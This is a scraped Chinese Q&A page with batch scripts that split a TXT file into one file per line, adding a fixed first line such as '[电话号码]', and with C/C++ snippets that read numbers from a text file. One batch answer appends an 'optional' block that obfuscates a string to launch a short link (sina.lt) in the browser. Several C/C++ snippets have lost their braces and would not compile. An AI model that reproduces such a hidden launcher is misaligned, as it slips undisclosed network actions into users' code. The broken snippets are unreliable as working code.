批量把一个多行的TXT文档按行分解成多个TXT文件;并在首行增加固定字符(如"[电话号码]")?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批量把一个多行的TXT文档按行分解成多个TXT文件;并在首行增加固定字符(如"[电话号码]")?相关的知识,希望对你有一定的参考价值。

新生成的TXT的第一行,加入固定字符(如"[电话号码]");
第二行,显示的是分解的数据。

@echo off
setlocal enabledelayedexpansion
set fn=a.txt
for /f "tokens=*" %%i in ('type "%fn%"') do (
set /a n+=1
echo [电话号码]>!n!.txt
echo %%i>>!n!.txt)
参考技术A

@echo off & title 每行生成新文本 By 依梦琴瑶
cd /d "%~dp0"

::设置要处理的文本
set File=1.txt

::设置要添加的固定字符
set Str=[固定电话]


for /f "usebackq delims=" %%a in ("%File%") do (
    call :export "%%~a"
)
pause
exit


:export
set "var=%date:~,4%%date:~5,2%%date:~8,2%%time:~,2%%time:~3,2%%time:~6,2%%time:~9,2%"
if exist "%var: =0%.txt" (
    ping 0 -n "1">nul
    call set "var=%%date:~,4%%%%date:~5,2%%%%date:~8,2%%%%time:~,2%%%%time:~3,2%%%%time:~6,2%%%%time:~9,2%%"
)
(echo %Str%
echo %~1)>"%var: =0%.txt"
goto :eof



::非主代码,愿意的话,可以额外执行一下
@echo off & title 友情一下
call :Do
exit

:Do
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit


来自:求助得到的回答
参考技术A 怎么个按行分解?每20行分割成一个txt,这样?

请问一下 怎么用c语言实现读取一个txt文件里的数据 要按行读出来

请问一下 怎么用c语言实现读取一个txt文件里的数据 要按行读出来 比如我的txt的文档里的数据是
0.160
0.172
0.160
0.233
0.209
。。。。我需要每次取出一个数据来计算 这个怎么实现啊?

可以用C++的流来做,包含fstream头文件,定义一个ifstream输入流,用getline函数读一行数据,当然读了之后可以把
#include<fstream>
#include<iostream>
using namespace std;

void main()

ifstream in("####");//传入文件名
string str;//用于放一行数据
getline(in,str);//重点,很简单吧
cout<<str<<endl;
in.close();

如果只是读数字的话,甚至可以这样来做
double value;
in>>value;//这样程序会忽略空白符读入一个double型的数据
其实C和C++本就是一脉相承,所以就用C++回答了
参考技术A 简单的办法:
#include <stdio.h>
...//这里的你自己的程序,省去
FILE *fp = fopen("你的文件的文件名", "r");
int n;
while (!feof(fp))

fscanf(fp, "%d", &n);
..//读出的数在n里,一次一个数

fclose(fp); //读完就退出循环本回答被提问者采纳
参考技术B

    打开文件 fopen("需要打开的路径")

    然后使用fgets函数读取行

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #define MAX_LINE 1024
    int main()

     char buf[MAX_LINE];  /*缓冲区*/
     FILE *fp;            /*文件指针*/
     int len;             /*行字符个数*/
     if((fp = fopen("test.txt","r")) == NULL)
     
     perror("fail to read");
     exit (1) ;
     
     while(fgets(buf,MAX_LINE,fp) != NULL)
     
     len = strlen(buf);
     buf[len-1] = '\\0';  /*去掉换行符*/
     printf("%s %d \\n",buf,len - 1);
     
      return 0;

参考技术C /*假设你的数据文件是d:\ttt.txt
用循环把数字读到数组a里面顺便显示出来 */
#include <stdio.h>
int main()

double a[100];
int i=0;
FILE* fp;
if((fp=fopen("d:\\ttt.txt","r"))==0)

printf("无文件!!\n");
return -1;

while(!feof(fp))

fscanf(fp,"%lf",&a[i]);
printf("%lf\n",a[i]);
i++;

fclose(fp);
return 0;
参考技术D 利用输入输出流打开文件,然后按行读取放到string类型,然后再重定向到 double类型中,程序如下已经过调试:
#include <iostream>
#include<fstream>
#include<string>
#include<sstream>
using namespace std;
void main()

fstream in;
in.open("D:\\1.txt",ios::in);
string temp;double data;
while(getline(in,temp))

istringstream stream(temp);
stream>>data;
cout<<data<<endl;





还有更简单的方式,如果一行只有一个单词的话
while(in>>data)
cout<<data<<endl;

以上是关于批量把一个多行的TXT文档按行分解成多个TXT文件;并在首行增加固定字符(如"[电话号码]")?的主要内容,如果未能解决你的问题,请参考以下文章

matlab中将一个txt文件按要求分解成多个。如图。

如何将许多ANSI格式的txt文档批量转换成UTF8格式?

如何拆分TXT文件

如何批量的把WORD文件变为TXT文件???

如何批量地转换linux文档成txt格式

拆分大txt文件成多个txt文件